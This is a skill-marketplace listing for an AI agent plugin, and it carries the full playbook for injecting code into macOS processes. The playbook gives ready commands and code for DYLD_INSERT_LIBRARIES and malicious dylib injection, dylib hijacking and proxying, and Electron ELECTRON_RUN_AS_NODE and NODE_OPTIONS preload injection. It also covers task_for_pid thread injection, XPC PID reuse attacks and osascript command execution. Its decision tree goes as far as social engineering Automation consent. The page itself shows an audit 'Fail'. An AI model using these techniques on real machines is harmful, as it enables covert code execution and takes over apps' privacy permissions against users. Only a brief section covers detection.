PluginBench
Skill
Fail
Audit score 45

macos-process-injection

yaklang/hack-skills

Inject code into macOS processes via dylib hijacking, XPC exploitation, and Mach port manipulation.

What is macos-process-injection?

Expert macOS process injection playbook covering DYLD_INSERT_LIBRARIES, dylib hijacking (weak/rpath/proxy), XPC PID reuse attacks, Mach port manipulation, and Electron injection. Use when you need to inject code into running or launching macOS processes while accounting for Hardened Runtime, SIP constraints, and entitlement prerequisites.

  • Inject dylibs via DYLD_INSERT_LIBRARIES environment variable with entitlement detection
  • Exploit weak dylib references, @rpath hijacking, and dylib proxying for code execution
  • Identify and exploit XPC service validation weaknesses including PID reuse race conditions
  • Manipulate Mach ports and task ports for direct process memory access and thread injection
  • Enumerate injectable targets and validate Hardened Runtime/SIP protections

How to install macos-process-injection

npx skills add https://github.com/yaklang/hack-skills --skill macos-process-injection
Prerequisites
  • macOS system (Intel x86_64 or Apple Silicon arm64)
  • Understanding of Mach-O binary format and dylib loading
  • Familiarity with codesign, otool, and dyldinfo tools
  • Knowledge of XPC service architecture and Mach IPC primitives
Claude Code
Cursor
Windsurf
Cline

How to use macos-process-injection

  1. 1.Identify target process and check for Hardened Runtime/SIP protections using codesign
  2. 2.Determine applicable injection vector (DYLD_INSERT_LIBRARIES, dylib hijacking, or XPC)
  3. 3.Create malicious dylib with constructor function containing payload code
  4. 4.Compile dylib for target architecture (x86_64 and/or arm64)
  5. 5.Deploy dylib and trigger injection via environment variable, weak reference, or XPC connection
  6. 6.Verify injection success by monitoring process behavior or output

Use cases

Good for
  • Injecting malicious dylib into non-hardened application at launch time
  • Hijacking weak dylib references in third-party apps to gain code execution
  • Exploiting PID reuse vulnerability in XPC services for privilege escalation
  • Using task_for_pid to inject threads into target process memory
  • Proxying legitimate dylibs to intercept function calls while maintaining compatibility
Who it's for
  • macOS security researchers
  • Penetration testers targeting macOS systems
  • Exploit developers working on macOS attack chains
  • Red teamers performing post-exploitation on macOS hosts

macos-process-injection FAQ

Can I inject into Apple system binaries or SIP-protected processes?

No. DYLD strips environment variables for SIP-protected binaries and SUID/SGID binaries. Mach port injection requires root and the target must not be SIP-protected. Use macos-security-bypass skill if you need to disable SIP first.

What's the difference between weak dylib hijacking and @rpath hijacking?

Weak dylib hijacking exploits optional dylibs that may not exist on disk—if you place a dylib at the expected path, it loads. @rpath hijacking exploits the library search order by placing a malicious dylib in an earlier @rpath directory before the legitimate one.

How does the XPC PID reuse attack work?

A legitimate process connects to XPC and passes PID validation. After it exits, the OS reuses its PID. An attacker rapidly forks to claim the same PID, then sends malicious XPC messages that the service trusts because the PID was previously validated.

What entitlements allow DYLD_INSERT_LIBRARIES injection?

Only binaries with Hardened Runtime explicitly enabled AND the com.apple.security.cs.allow-dyld-environment-variables entitlement allow DYLD_INSERT_LIBRARIES. Most hardened apps do not have this entitlement.

Do I need root for Mach port injection?

Generally yes. task_for_pid requires root or the com.apple.system-task-ports entitlement. However, some XPC services run as root and may be exploitable without root if validation is weak.

Full instructions (SKILL.md)

Source of truth, from yaklang/hack-skills.


name: macos-process-injection description: >- macOS process injection playbook. Use when you need to inject code into running or launching macOS processes via dylib hijacking, DYLD environment variables, XPC exploitation, Mach port manipulation, or Electron/Chromium abuse.

SKILL: macOS Process Injection — Expert Attack Playbook

AI LOAD INSTRUCTION: Expert macOS process injection techniques. Covers DYLD_INSERT_LIBRARIES, dylib hijacking (weak/rpath/proxy), XPC PID reuse attacks, Mach port manipulation, MIG abuse, and Electron injection. Base models miss entitlement prerequisites and SIP constraints on injection vectors.

0. RELATED ROUTING

Before going deep, consider loading:

  • macos-security-bypass when you need to bypass TCC, Gatekeeper, or SIP protections blocking your injection
  • linux-privilege-escalation for Unix-layer escalation (shared object hijacking concepts apply)

Advanced Reference

Also load DYLIB_XPC_TECHNIQUES.md when you need:

  • Step-by-step dylib hijacking methodology with tooling commands
  • XPC exploitation walkthrough with code examples
  • Mach port technique details and task_for_pid patterns

1. DYLD_INSERT_LIBRARIES INJECTION

The most straightforward injection: set an environment variable that forces the dynamic linker to preload your dylib.

1.1 Requirements and Restrictions

ConditionCan Inject?Reason
Normal (non-hardened) binaryYesNo restrictions
Hardened Runtime enabledNoDYLD strips env vars
Hardened Runtime + com.apple.security.cs.allow-dyld-environment-variablesYesEntitlement explicitly allows it
Apple system binary (SIP-protected)NoDYLD env vars stripped by SIP
SUID/SGID binaryNoDYLD env vars stripped for privilege safety
App Sandbox enabledNoSandbox blocks env var injection

1.2 Basic Injection

# Create malicious dylib
cat > inject.c << 'EOF'
#include <stdio.h>
__attribute__((constructor))
void inject() {
    printf("[+] Injected into PID %d\n", getpid());
    // payload here
}
EOF

# Compile for both architectures
gcc -dynamiclib -o inject.dylib inject.c -arch x86_64 -arch arm64

# Inject into target
DYLD_INSERT_LIBRARIES=./inject.dylib /path/to/target

1.3 Finding Injectable Targets

# Find apps WITHOUT hardened runtime
find /Applications -name "*.app" -exec sh -c '
  binary=$(defaults read "$1/Contents/Info.plist" CFBundleExecutable 2>/dev/null)
  if [ -n "$binary" ]; then
    flags=$(codesign -d --verbose "$1/Contents/MacOS/$binary" 2>&1)
    echo "$flags" | grep -q "runtime" || echo "No Hardened Runtime: $1"
  fi
' _ {} \;

# Find apps with dyld env var entitlement
find /Applications -name "*.app" -exec sh -c '
  binary="$1/Contents/MacOS/"$(defaults read "$1/Contents/Info.plist" CFBundleExecutable 2>/dev/null)
  codesign -d --entitlements :- "$binary" 2>/dev/null | \
    grep -q "allow-dyld-environment-variables" && echo "DYLD injectable: $1"
' _ {} \;

2. DYLIB HIJACKING

Exploit the dynamic linker's library search order to load attacker-controlled dylibs instead of (or in addition to) legitimate ones.

2.1 Weak Dylib Hijacking (LC_LOAD_WEAK_DYLIB)

Weak dylibs are optional — if missing, the binary still runs. If you can place a dylib at the expected path, it loads.

# Find binaries with weak dylib references
otool -l /path/to/binary | grep -A 2 LC_LOAD_WEAK_DYLIB

# Check if the weak dylib actually exists
otool -L /path/to/binary | grep weak | while read lib rest; do
  [ ! -f "$lib" ] && echo "MISSING (hijackable): $lib"
done

2.2 @rpath Hijacking

@rpath is resolved from LC_RPATH entries in the binary. If an earlier rpath directory is writable, you can place your dylib there.

# List rpath entries
otool -l /path/to/binary | grep -A 2 LC_RPATH

# List rpath-relative dylib references
otool -L /path/to/binary | grep @rpath

# If rpath includes writable directory (e.g., app's Frameworks/)
# place malicious dylib with matching name there

2.3 Dylib Proxying

Replace a legitimate dylib with a malicious one that forwards all exports to the original.

# Step 1: Identify target dylib and its exports
nm -gU /path/to/original.dylib | awk '{print $3}'

# Step 2: Create proxy dylib that re-exports everything
# Move original to original_real.dylib
# Create proxy:
cat > proxy.c << 'EOF'
__attribute__((constructor))
void payload() {
    // malicious code here
}
EOF

gcc -dynamiclib -o hijacked.dylib proxy.c \
  -Wl,-reexport_library,/path/to/original_real.dylib \
  -arch x86_64 -arch arm64

2.4 Dependency Enumeration

otool -L /path/to/binary              # List all dylib dependencies
otool -l /path/to/binary              # Full load commands (rpaths, weak, etc.)
dyldinfo -print_dependencies /path/to/binary  # Detailed dependency info (pre-Ventura)

3. XPC EXPLOITATION

XPC (Cross-Process Communication) is macOS's primary IPC mechanism for privilege separation. Privileged XPC services are high-value targets.

3.1 XPC Service Discovery

# System XPC services
find /System/Library -name "*.xpc" -type d 2>/dev/null | head -20

# Third-party XPC services
find /Library /Applications -name "*.xpc" -type d 2>/dev/null

# LaunchDaemon XPC services (root-level)
grep -r "MachServices" /Library/LaunchDaemons/*.plist 2>/dev/null
grep -r "MachServices" /System/Library/LaunchDaemons/*.plist 2>/dev/null

3.2 PID Reuse Attack

XPC connections validated by PID are vulnerable to race conditions: attacker spawns process, PID is checked and passes, attacker's process exits, OS reuses PID for malicious process.

Validation MethodVulnerable?Notes
PID-based checkYesPID recycled after process exit
Audit tokenNoUnique per process lifecycle, not recycled
Code signature checkNoValidates signing identity
Entitlement checkNoChecks process entitlements
Timeline of PID reuse attack:
1. Legitimate client (PID 1234) connects to XPC service
2. XPC service checks PID 1234 → valid
3. Legitimate client exits (PID 1234 freed)
4. Attacker rapidly forks to get PID 1234
5. Attacker's process (now PID 1234) sends malicious XPC message
6. XPC service trusts PID 1234 (cached validation)

3.3 XPC Client Validation Weaknesses

WeaknessDescriptionExploitation
No client validationService accepts any connectionConnect directly, send commands
PID-only validationRace condition exploitablePID reuse attack (§3.2)
Bundle ID check onlyBundle IDs can be spoofedCreate app with matching bundle ID
Partial code requirementMissing anchor checksSign with any cert matching partial requirement
Entitlement check on wrong processChecks parent instead of clientSpawn from entitled parent

4. MACH PORT MANIPULATION

Mach ports are the kernel-level IPC primitive underlying XPC. Direct Mach port access enables powerful injection.

4.1 Task Port (task_for_pid)

// Requires root or taskgated entitlement
mach_port_t task;
kern_return_t kr = task_for_pid(mach_task_self(), target_pid, &task);
if (kr == KERN_SUCCESS) {
    // Can now read/write target process memory
    // Can inject threads via thread_create_running
}
Access MethodRequirementPost-Exploit Capability
task_for_pid()Root + not SIP-protected targetFull memory R/W, thread injection
processor_set_tasks()Root + com.apple.system-task-portsEnumerate all task ports
Exception portsSet via task_set_exception_portsCatch target crashes, redirect execution
Thread injectionTask port obtainedCreate new thread in target address space

4.2 Port Namespace Manipulation

TechniqueDescription
Port name guessingMach port names are sequential integers — brute-forceable in some contexts
mach_port_insert_rightInsert send right into target's namespace (requires task port)
Bootstrap server abuseRegister service name before legitimate service → intercept connections

5. MIG (MACH INTERFACE GENERATOR) ABUSE

MIG generates C stubs for Mach IPC. MIG servers may have vulnerabilities in their dispatch routines.

5.1 Analysis Approach

# Find MIG subsystems in a binary
nm /path/to/binary | grep _subsystem
strings /path/to/binary | grep "MIG"

# Identify MIG routine dispatch tables
otool -tV /path/to/binary | grep -A 5 "server_routine"

5.2 Common MIG Vulnerabilities

VulnerabilityDescription
Missing audit token validationMIG handler doesn't verify sender identity
Type confusionMIG deserialization trusts client-provided type descriptors
Port lifecycle issuesUse-after-deallocate on Mach ports between MIG calls
OOL (out-of-line) memory abuseOversized OOL descriptors → kernel memory issues

6. ELECTRON / CHROMIUM INJECTION

Many macOS apps use Electron (Slack, Discord, VS Code, Teams, etc.). Electron apps expose multiple injection surfaces.

6.1 ELECTRON_RUN_AS_NODE

# Turns Electron app into a plain Node.js runtime
ELECTRON_RUN_AS_NODE=1 "/Applications/Slack.app/Contents/MacOS/Slack" -e \
  "require('child_process').execSync('id').toString()"

# This inherits the app's TCC permissions!
# If Slack has camera/mic/screen recording, your code gets it too.

6.2 Debugging Flags

# Open Chrome DevTools protocol on the app
"/Applications/Target.app/Contents/MacOS/Target" --inspect=9229
# Then connect: chrome://inspect in Chrome browser

# Break before any code runs
"/Applications/Target.app/Contents/MacOS/Target" --inspect-brk=9229

6.3 NODE_OPTIONS Injection

# Inject preload script via NODE_OPTIONS
echo 'require("child_process").execSync("id > /tmp/pwned")' > /tmp/preload.js
NODE_OPTIONS="--require /tmp/preload.js" "/Applications/Target.app/Contents/MacOS/Target"

6.4 Electron Fuses

Modern Electron apps use "fuses" to disable dangerous features. Check fuse state:

FuseWhen Enabled (secure)When Disabled (exploitable)
RunAsNodeELECTRON_RUN_AS_NODE strippedCan use app as Node.js
EnableNodeCliInspectArguments--inspect flags strippedCan attach debugger
EnableNodeOptionsEnvironmentVariableNODE_OPTIONS strippedCan inject preload
OnlyLoadAppFromAsarOnly loads from .asarCan replace JS files
# Check electron fuse status (requires npx @electron/fuses)
npx @electron/fuses read --app "/Applications/Target.app"

7. APPLICATION SCRIPTING (APPLE EVENTS)

# Inject via osascript (if Automation permission exists)
osascript -e 'tell application "Terminal" to do script "id > /tmp/pwned"'

# JavaScript for Automation (JXA)
osascript -l JavaScript -e '
  var app = Application("Terminal");
  app.doScript("id > /tmp/pwned");
'

# JXA with ObjC bridge (powerful)
osascript -l JavaScript -e '
  ObjC.import("Cocoa");
  var task = $.NSTask.alloc.init;
  task.launchPath = "/bin/bash";
  task.arguments = ["-c", "id > /tmp/pwned"];
  task.launch;
'

8. PROCESS INJECTION DECISION TREE

Need to inject code into macOS process
│
├── Target uses Electron?
│   ├── Fuses disabled? → ELECTRON_RUN_AS_NODE (§6.1)
│   ├── Debugging available? → --inspect flag (§6.2)
│   ├── NODE_OPTIONS not stripped? → preload injection (§6.3)
│   └── All fuses on? → check dylib path or XPC
│
├── Target has dylib env var entitlement?
│   └── Yes → DYLD_INSERT_LIBRARIES (§1)
│
├── Target has missing or weak dylib?
│   ├── LC_LOAD_WEAK_DYLIB with missing lib? → place dylib (§2.1)
│   ├── @rpath with writable dir first in search? → rpath hijack (§2.2)
│   └── Existing dylib in writable location? → dylib proxy (§2.3)
│
├── Target exposes XPC service?
│   ├── No client validation? → connect directly (§3.3)
│   ├── PID-only validation? → PID reuse attack (§3.2)
│   └── Audit token validation? → need different vector
│
├── Have root access?
│   ├── Target not SIP-protected? → task_for_pid injection (§4.1)
│   └── SIP-protected? → need SIP bypass first (→ macos-security-bypass)
│
├── Can use Apple Events?
│   ├── Automation permission for target? → osascript injection (§7)
│   └── No permission? → social engineer Automation consent
│
└── None of the above?
    ├── Check for MIG server vulnerabilities (§5)
    └── Look for bootstrap server name collision (§4.2)

9. DETECTION & FORENSICS

ArtifactWhere to Look
DYLD_INSERT_LIBRARIES useProcess environment (/proc/PID/environ, ps eww)
Unexpected dylibs loadedvmmap PID or DYLD_PRINT_LIBRARIES=1 output
XPC connection anomaliesEndpoint Security es_event_type_t XPC events
Electron debug port openlsof -i :9229
osascript executionUnified log: log show --predicate 'process=="osascript"'
Unsigned code executioncodesign --verify failures, Gatekeeper logs